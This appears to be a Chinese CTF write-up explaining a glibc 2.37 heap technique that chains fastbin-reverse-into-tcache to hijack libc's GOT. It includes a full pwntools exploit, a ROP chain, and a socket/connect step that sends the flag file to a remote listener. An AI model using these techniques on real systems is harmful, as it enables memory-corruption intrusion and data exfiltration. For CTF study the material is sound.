tcache七星剑法:轮回——Fastbin reverse into tcache

tcache七星剑法:轮回 ——Fastbin reverse into tcache

DASCTF 2023_4的一道题,BUU上有原题

赛后复现了这道题,这里重点解析这题解法中对于tcache和fastbin的梦幻联动。

题目简介

这里的题目不再分析细节了,题目链接我放在下面,详细信息不在这里赘述。

DASCTF 2023_4

有UAF,没有Edit。

2.37的orw题目,肯定是打glibc got利用puts函数中内置的strlen去劫持程序执行流,通过setcontext+61把栈迁移到堆上打shellcode或者rop。不熟悉的师傅们可以可以参考:无路远征——GLIBC2.37后时代的IO攻击之道(二)house_of_秦月汉关

这个题目的难点在于:

  1. size固定,只能malloc(0x30)
  2. idx较少,需要精打细算
  3. free机会受限制,至少要用掉七次free来填满tcache,然后就只剩下3次free机会了

开始看题

前奏,先试着泄露一下地址

我假定你到现在已经对于glibc的堆管理器机制烂熟于心,对于一些机制我仅仅一带而过、

首先,我们要泄露堆基址。由于2.37机制启用了next指针异或,所以只要free一个堆块就可以show出来其next域内容,进而推算出heapbase了。

不懂异或原理的,可以去看源码或者去看雪找winmt大神写的堆/IO总结

接下来是如何泄露libc地址

在堆段得到libc地址的方法一般有:

  1. 利用进入(或曾进入)双向链表bin的chunk

我们常常利用unsorted bin,而size不足时,通过非正常手段得到unsorted bin的方法往往有

  1. 触发fastbin chunk合并
  2. 伪造已有chunk的size及下一个堆块的head后将其free
  3. top chunk的house of orange

topchunk本来就有点剑走偏锋,加上这道题我们malloc的size太小,所以我们不用,而我们free次数太少,创造多个fastbin去合并也不现实,于是我们只剩下第二个办法,即修改size。

在有了堆地址的基础上,我们可以尝试通过劫持tcache的next指针来实现任一地址分配,但是由于这道题没有edit,该版本tcache由有double防护,因此要构造如下结构

tcache : chunk_6 -> chunk_5 -> chunk_4 -> chunk_3 -> chunk_2 -> chunk_1 -> chunk_0
fastbin : chunk_7

之后取出chunk_6,free掉chunk_7

tcache : chunk_7 -> chunk_5 -> chunk_4 -> chunk_3 -> chunk_2 -> chunk_1 -> chunk_0
fastbin : chunk_7

接下来就可以从tcache里面取出来chunk_7,可以把其next指向一个已有的堆块的头部,将其size修改后free掉就可以得到libc基址了。

tcache : null
fastbin : chunk_7 -> fake_chunk -> ?(注意这里的问号)

理论上是这样,但实际跑起来会,涉及更多细节

指针异或带来的小麻烦

之后从fastbin中取出来chunk_7时,会触发tcache的一个机制:程序每当从fastbin/small bin中取出一个堆块,会尝试把该bin中剩余的堆块拿出来去填充tcache

取堆块的过程与正常从链表中取出堆块的方式一样,对于fastbin来讲就是先进后出,对于smallbin来说就是先进先出。这个过程,直到tcache被填满或者链表被取空。

先讲以取空链表的方式结束的方法,对于fastbin而言,链表取空,即bin的fd指向了0,这个情况得是取出一个堆块后,这个链表最后以0结尾。

一般来说堆段可能比较干净,fake_chunk的next大概率是0,在2.32之前取出chunk_7后往往是:

tcache : null
fastbin : chunk_7 -> fake_chunk -> null

取出堆块chunk_7

tcache : fake_chunk
fastbin : null

但是在这道题有指针保护机制的存在,next指针会在使用前需要先由REVEAL_PTR解除异或保护。所以上面的例子中,如果你不对fake_chunk的地址提前进行布置其next域,而任由其为初始值为0的话,其next域会被解析为一个非法地址

tcache : null
fastbin : chunk_7 -> fake_chunk -> Invaild_addr (error)

这在Fastbin reverse into tcache的过程中,会把Invaild_addr这个地址当做一个堆块地址继续REMOVEFB的操作,其中会涉及地址的读写,这就大概率寄掉了。

因此我们需要提前在这里布置,由于已知堆地址,我们可以在这里写上0经过PROTECT_PTR加密后的结果。这样就能正常结束这个Fastbin reverse into tcache的过程,但是由于这道题我们缺乏free的机会,如果就此停手,我们再被迫free掉一个被篡改size的chunk去泄露libc,就没有free机会供我们利用了。因此我们既要正常通过Fastbin reverse into tcache的流程,又要留给自己一些仍在fasbin/tcache中的堆块。

从平稳过关,到再留一手

很容易想到,我们可以在里面写别的堆段地址,我们在之前从tcache里面取出chunk_7时可以这样伪造

tcache : null
fastbin : chunk_7 -> fake_chunk_another -> fake_chunk -> 0

之后我们取出chunk_7,链表会变成什么样呢?大家可以先自己画一下。

答案如下:

tcache : fake_chunk -> fake_chunk_another -> 0
fastbin : null

这里最需要注意的一点就是fake_chunk_another和fake_chunk的顺序反过来了。这是因为向fastbin中插入堆块和从fastbin中取堆块,都是在最靠近bin的地方进行插入,而tcache也是同理。因此,fastbin中最靠近bin的堆块会最先被取出来,然后最先被插入tcache。也就是说fastbin中的堆块,进入tcache后,其顺序会颠倒。

这样,拿出fake_chunk修改size,可以泄露libc地址,而且此时tcache中仍然存有堆块。但是由于题目没有edit,而我们留下来的堆块都在tcache里面,难以劫持指针,因此我们还需继续想办法。

轮回 ——Fastbin reverse into tcache

这里我们就要利用另外一个性质:当tcache满7个后,程序就会停止从fastbin中取出堆块放进tcache的行为。因此,我们可以让上面伪造的fastbin链足够长,且在邻接点处构成一个循环链表:

tcache : null
fastbin : chunk_7 -> fake_chunk_1 -> fake_chunk_2 -> fake_chunk_3 -> fake_chunk_4 -> fake_chunk_5 -> fake_chunk_6 -> fake_chunk_0 -> fake_chunk_0 -> ...

取出chunk_7,fake_chunk_1到fake_chunk_6先进入tcache,然后把fastbin中第一个chunk_0给取出来,同时把第二个fake_chunk_0的地址写进fastbin,然后把fake_chunk_0放进tcache,就会形成如下结构:

tcache : fake_chunk_0 -> fake_chunk_6 -> fake_chunk_5 -> fake_chunk_4 -> fake_chunk_3 -> fake_chunk_2 -> fake_chunk_1
fastbin : fake_chunk_0 -> ???(大家可以先分析一下这里的问号是什么)

这里的fake_chunk,可以在之前第一轮取堆块的时候就在其中构造好。

这时我们发现,此时fastbin和tcache又变成了double free后构造出来的结构,即fastbin和tcache的第一个堆块是同一个堆块,这时我们就又能进行控制了。

我们可以进行如下操作:

#tcache -> fake_chunk_6 -> fake_chunk_5 -> fake_chunk_4 -> fake_chunk_3 -> fake_chunk_2 -> fake_chunk_1
#fastbin -> fake_chunk_0 -> fake_chunk_6 ->X

取出fake_chunk_0,然后把next或者说fd的位置写上PROTECT_PTR加密后的fake_chunk_6,这样接下来我们取出fake_chunk_6,就又能控制fake_chunk_6的next,然后可以再将其写成fake_chunk_5......

tcache : null
fastbin : fake_chunk_0 -> fake_chunk_6 -> fake_chunk_5 -> fake_chunk_4 -> fake_chunk_3 -> fake_chunk_2 -> fake_chunk_1 -> strlen_libcgot - 0x10 -> Invaild_addr (error)

然后我们故技重施,取空tcache,最后尾刀我们就写上libc got的地址,这样随着下一次取出fake_chunk_0触发fastbin reverse into tcache,就会形成如下结构:

tcache : strlen_libcgot - 0x10 -> fake_chunk_1 -> fake_chunk_2 -> fake_chunk_3 -> fake_chunk_4 -> fake_chunk_5 -> fake_chunk_6
fastbin : Invaild_addr

之后就可以把堆块分配进libc got覆盖相关函数指针,劫持程序执行流到setcontext进行栈迁移等操作了。至于相关rop链如何布置,就不必赘述了。

这个技巧中,七个chunk从tcache被取出后,其中伪造的fake_chunk又依次进入了fastbin,并且再度被倒入tcache,然后再被链入fastbin,再被倒进tcache,如此反复。所以我给这个技巧起了一个形象的名字:轮回。

七星轮回的检查疏忽

有人会觉得很奇怪,为什么要让循环构建在fastbin末端?我直接在chunk_7后面构建循环不可以吗?

这里要动态地去分析问题,当循环中的一个堆块进入tcache后,其next就会被赋值,fastbin中第二个堆块通过next指针向后就不能找到其自身,而是tcache中原本第一个堆块的mem域,因此循环就会被破坏。而从fastbin中取出堆块的检查比较严格,mem域和chunk有偏移,必须先构造好fake_chunk_head,一旦因为tcache和fastbin的规则不同而令指针产生偏移,就会破坏循环。因此看似是一个无限制的循环,实际上只有两个能用。

而Fastbin reverse into tcache有一个漏洞,当填满tcache后,fastbin中剩下的堆块会直接作为fastbin的开头。这就是为什么我要把strlen_libcgot-0x10放在最后的原因:这个地方的next肯定是通过不了检查的,因此就卡第七次堆块挪动,让*strlen_libcgot对应的非法地址存在fastbin中。这个地址肯定是不能从fastbin中取出来的,地址不合法,但是我们取strlen_libcgot-0x10之后就相当于可以控制程序的执行流,就已经完成堆攻击的任务了

#if USE_TCACHE
	      /* While we're here, if we see other chunks of the same size,
		 stash them in the tcache.  */
	      size_t tc_idx = csize2tidx (nb);
	      if (tcache && tc_idx < mp_.tcache_bins)
		{
		  mchunkptr tc_victim;

		  /* While bin not empty and tcache not full, copy chunks.  */
		  while (tcache->counts[tc_idx] < mp_.tcache_count
			 && (tc_victim = *fb) != NULL)
		    {
		      if (__glibc_unlikely (misaligned_chunk (tc_victim)))
			malloc_printerr (
			    "malloc(): unaligned fastbin chunk detected 3");
		      if (SINGLE_THREAD_P)
			*fb = REVEAL_PTR (tc_victim->fd);
		      else
			{
			  REMOVE_FB (fb, pp, tc_victim);		//单线程环境下不会走REMOVE_FB这个宏
			  if (__glibc_unlikely (tc_victim == NULL))
			    break;
			}
		      tcache_put (tc_victim, tc_idx);
		    }
		}
#endif

后续工作:阴间的沙箱

之后就是常规的栈迁移,不再赘述。

不过这题沙箱开的很阴间

图片.png

open系统调用ban了,这个可以用openat替代。read只能从0去读,因此这题要先关闭标准输入,再打开flag文件,这样就能让0对应flag文件把flag读进来。

这题在show函数次数用尽后,还会关闭标准输出和标准错误这两个文件。因此我们要通过socket函数和connnect函数把打开的flag反弹输出到我们本地。

struct sockaddr {
    sa_family_t sa_family; // 地址族,指定地址的类型,如 AF_INET、AF_INET6
    char sa_data[14]; // 地址数据
};

unsigned long long ip_port=0x81AEA8C0401F0002

close(0);
openat(0,"./flag",0);
read(0,flag_addr,0x30);
socket(2,1,0);
connect(1,&ip_port,0x10);
write(1,flag_addr,0x30)

socket(2,1,0)创建了一个套接字描述符,这里就相当于打开了一个新的文件,自然文件描述符为当前能用的最小的描述符1,之后把这个套接字描述符通过connect函数和要连接的服务器地址结构(struct sockaddr)

对于IPv4的地址,sa_family要填入常量AF_INET,即2。后面sa_data填入ip地址和就好了。端口号,注意先写端口号(0x401F),这里是大端序,对应8000,即0x1F40。后面IP地址也是大端序,实际对应ip为192.168.174.129

之后用nc开一个端口监听就好了

nc -l 192.168.174.129 8000

EXP

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/pwn' 
libcpath='/home/wjc/Desktop/libc.so.6'

p=process(ELFpath)
#p=remote('148.70.159.118',33288)

e=ELF(ELFpath)
libc=ELF(libcpath)

ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    text_base, libc_base = get_base(p, 'pwn')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    b*puts
    b*malloc
    '''.format(text_base, libc_base)
    
    #b mprotect
    #b *($text_base+0x0000000000000000F84)
    #b *($text_base+0x000000000000134C)
    # b *($text_base+0x0000000000000000001126)
    #dprintf *($text_base+0x04441),"%c",$ax
    #dprintf *($text_base+0x04441),"%c",$ax
    #0x12D5
    #0x04441
    #b *($text_base+0x0000000000001671)
    gdb.attach(p, script)


def cmd(idx,flag=False):
    if flag:
        sleep(0.1)
    else:
        ru("Choice >> ")
    ss(idx)
def add(idx,content,flag=False):
    cmd(1,flag)
    if flag:
        sleep(0.1)
    else:
        ru('Index >> ')
    ss(idx)
    if flag:
        sleep(0.1)
    else:
        ru('ontent >> ')
    s(content)
def free(idx,flag=False):
    cmd(2,flag)
    if flag:
        sleep(0.1)
    else:
        ru('Index >> ')
    ss(idx)
def show(idx,flag=False):
    cmd(3,flag)
    if flag:
        sleep(0.1)
    else:
        ru('Index >> '  )
    ss(idx)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)


# add(0,'aaaa')
# add(1,'aaaa')
# add(2,'aaaa')
# add(3,'aaaa')
# add(4,'aaaa')
# add(5,'aaaa')
# add(6,'aaaa')
# add(7,'aaaa')
# add(8,'aaaa')


# for i in range(7):
#     free(i)
# free(7)
# free(8)
# free(7)

# for i in range(7):
#     add(i,'bbbb')

#debug()
#pause()
# add(7,'aaaa')

# pause()

add(0,'aaaa')
add(0,'aaaa')
add(8,'aaaa')
for i in range(10):
    add(1,'aaaa')

for i in range(1,7):
    add(i,'aaaa')
add(7,'aaaa')


for i in range(7):
    free(i)

show(0)
ru("Content << ")
heapbase = u64( r(5).ljust(8,'\x00') ) << 12
LOGTOOL['heapbase'] = heapbase

free(7)
chunk_6_addr = heapbase + 0x710
fake_chunk_6_addr = chunk_6_addr + 0x20
fake_chunk_0_addr = heapbase + 0x2d0 + 0x20
fake_chunk_6_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_6_addr + 0x10, fake_chunk_0_addr)
add(6,fake_chunk_6_head)    
free(7)

chunk_7_addr = heapbase + 0x750

chunk_1_addr = heapbase + 0x5d0
fake_chunk_1_addr = chunk_1_addr + 0x20
#tcache -> chunk_7 -> chunk_5 -> chunk_4 -> chunk_3 -> chunk_2 -> chunk_1 -> chunk_0
#fastbin -> chunk_7 -> X
add(7,ptrxor(chunk_7_addr + 0x10, fake_chunk_1_addr))

#tcache -> chunk_5 -> chunk_4 -> chunk_3 -> chunk_2 -> chunk_1 -> chunk_0
#fastbin -> chunk_7 -> fake_chunk_1 -> fake_chunk_2 -> fake_chunk_3 -> fake_chunk_4 -> fake_chunk_5 -> fake_chunk_6 -> fake_chunk_0 -> fake_chunk_6 
chunk_5_addr = heapbase + 0x6d0
fake_chunk_5_addr = chunk_5_addr + 0x20
fake_chunk_5_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_5_addr + 0x10, fake_chunk_6_addr)
add(5,fake_chunk_5_head)
#add(5,'aaaa')

chunk_4_addr = heapbase + 0x690
fake_chunk_4_addr = chunk_4_addr + 0x20
fake_chunk_4_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_4_addr + 0x10, fake_chunk_5_addr)
add(4,fake_chunk_4_head)
#add(4,'aaaa')

chunk_3_addr = heapbase + 0x650
fake_chunk_3_addr = chunk_3_addr + 0x20
fake_chunk_3_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_3_addr + 0x10, fake_chunk_4_addr)
add(3,fake_chunk_3_head)
#add(3,'aaaa')

chunk_2_addr = heapbase + 0x610
fake_chunk_2_addr = chunk_2_addr + 0x20
fake_chunk_2_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_2_addr + 0x10, fake_chunk_3_addr)
add(2,fake_chunk_2_head)
#add(2,'aaaa')

fake_chunk_1_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_1_addr + 0x10, fake_chunk_2_addr)
add(1,fake_chunk_1_head)
#add(1,'aaaa')

fake_chunk_0_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_0_addr + 0x10, fake_chunk_0_addr)
add(0,fake_chunk_0_head)


LOGTOOL['fake_chunk_0']=fake_chunk_0_addr
LOGTOOL['fake_chunk_1']=fake_chunk_1_addr
LOGTOOL['fake_chunk_2']=fake_chunk_2_addr
LOGTOOL['fake_chunk_3']=fake_chunk_3_addr
LOGTOOL['fake_chunk_4']=fake_chunk_4_addr
LOGTOOL['fake_chunk_5']=fake_chunk_5_addr
LOGTOOL['fake_chunk_6']=fake_chunk_6_addr

#tcache -> 0x0
#fastbin -> chunk_7 -> fake_chunk_1 -> fake_chunk_2 -> fake_chunk_3 -> fake_chunk_4 -> fake_chunk_5 -> fake_chunk_6 -> fake_chunk_0 -> fake_chunk_0
add(7,'aaaa')

#tcache -> fake_chunk_0 -> fake_chunk_6 -> fake_chunk_5 -> fake_chunk_4 -> fake_chunk_3 -> fake_chunk_2 -> fake_chunk_1
#fastbin -> fake_chunk_0 -> X
fake_chunk_0 = ptrxor(fake_chunk_0_addr + 0x10, fake_chunk_6_addr) + p64(0)*2 + p64(0x441)
add(0,fake_chunk_0)     #fake_chunk_0    

#now
#tcache -> fake_chunk_6 -> fake_chunk_5 -> fake_chunk_4 -> fake_chunk_3 -> fake_chunk_2 -> fake_chunk_1
#fastbin -> fake_chunk_0 -> fake_chunk_6 ->X

#leek
free(8)
show(8)
libcbase = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - (0x7f406e623ce0- 0x7f406e42d000)
LOGTOOL['libcbase'] = libcbase
strlen_libcgot = libcbase + (0x7f8913ab3080 - 0x7f89138bd000)
LOGTOOL['strlen_libcgot'] = strlen_libcgot
setcontext_61 = libcbase + libc.symbols['setcontext'] + 61
LOGTOOL['setcontext+61'] = setcontext_61
read_addr = libcbase + libc.symbols['read']
LOGTOOL['read_addr'] = read_addr
write_addr = libcbase + libc.symbols['write']
LOGTOOL['write_addr'] = write_addr
openat_addr = libcbase + libc.symbols['openat']
LOGTOOL['openat_addr'] = openat_addr
socket_addr = libcbase + libc.symbols['socket']
LOGTOOL['socket_addr'] = socket_addr
connect_addr = libcbase + libc.symbols['connect']
LOGTOOL['connect_addr'] = connect_addr
close_addr = libcbase + libc.symbols['close']
LOGTOOL['close'] = close_addr


#0x00000000000240e5 : pop rdi ; ret
pop_rdi_ret = libcbase + 0x240e5
#0x000000000002573e : pop rsi ; ret
pop_rsi_ret = libcbase + 0x2573e
#0x0000000000026302 : pop rdx ; ret
pop_rdx_ret = libcbase + 0x26302

add(6,ptrxor(fake_chunk_6_addr + 0x10, fake_chunk_5_addr),True)
add(5,ptrxor(fake_chunk_5_addr + 0x10, fake_chunk_4_addr),True)
add(4,ptrxor(fake_chunk_4_addr + 0x10, fake_chunk_3_addr),True)
add(3,ptrxor(fake_chunk_3_addr + 0x10, fake_chunk_2_addr),True)
add(2,ptrxor(fake_chunk_2_addr + 0x10, fake_chunk_1_addr),True)
add(1,ptrxor(fake_chunk_1_addr + 0x10, strlen_libcgot - 0x10),True)

#tcache -> 0
#fastbin -> fake_chunk_0 -> fake_chunk_6 -> fake_chunk_5 -> fake_chunk_4 -> fake_chunk_3 -> fake_chunk_2 -> fake_chunk_1 -> strlen_libcgot - 0x10

debug()
LOGALL()
pause()

add(0,'aaaa',True)
#tcache -> strlen_libcgot - 0x10 -> fake_chunk_1 -> fake_chunk_2 -> fake_chunk_3 -> fake_chunk_4 -> fake_chunk_5 -> fake_chunk_6
#fastbin -> ?

#0x0000000000157c3a : mov rdx, rbp ; mov rdi, r13 ; call qword ptr [rax + 0x20]

magic_gadget = libcbase + 0x157c3a
LOGTOOL['magic_gadget'] = magic_gadget
add(8,p64(magic_gadget),True)

pay1 = p64(0) + p64(0) + p64(0) + p64(0) + p64(setcontext_61) + p64(0)
add(1,pay1,True)
pay2 = p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)
add(2,pay2,True)
pay3 = p64(0) + p64(fake_chunk_4_addr + 0x10 - 0x8) + p64(0) + p64(0) + p64(heapbase + 0x2000) + p64(setcontext_61)
add(3,pay3,True)

pay4 = p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)
add(4,pay4,True)
pay5 = p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(heapbase + 0x2000)
add(5,pay5,True)
pay6 = p64(0x1000) + p64(0) + p64(0) + p64(heapbase + 0x2000) + p64(read_addr) + p64(0)
add(6,pay6,True)

#debug()
#pause()


show(1,True)

#pause()
flag_str = heapbase + 0x3000 - 0x100
ip_port = heapbase + 0x3000 - 0x100 + 0x10
flag_addr = heapbase + 0x3000 - 0x200

payload =p64(pop_rdi_ret)+p64(0)+p64(close_addr)
payload+=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_str)+p64(pop_rdx_ret)+p64(0)+p64(openat_addr)
payload+=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_addr)+p64(pop_rdx_ret)+p64(0x40)+p64(read_addr)
payload+=p64(pop_rdi_ret)+p64(2)+p64(pop_rsi_ret)+p64(1)+p64(pop_rdx_ret)+p64(0)+p64(socket_addr)
payload+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(ip_port)+p64(pop_rdx_ret)+p64(0x10)+p64(connect_addr)
payload+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_addr)+p64(pop_rdx_ret)+p64(0x40)+p64(write_addr)

payload = payload.ljust(0xf00,'\x00') + '/flag\x00\x00\x00' + 8*'\x00'
#nc -l 192.168.174.129 8000
payload += p64(0x81AEA8C0401F0002)

sleep(0.1)
s(payload)


it()

posted @ 2023-05-12 08:47  Jmp·Cliff  阅读(390)  评论(0编辑  收藏  举报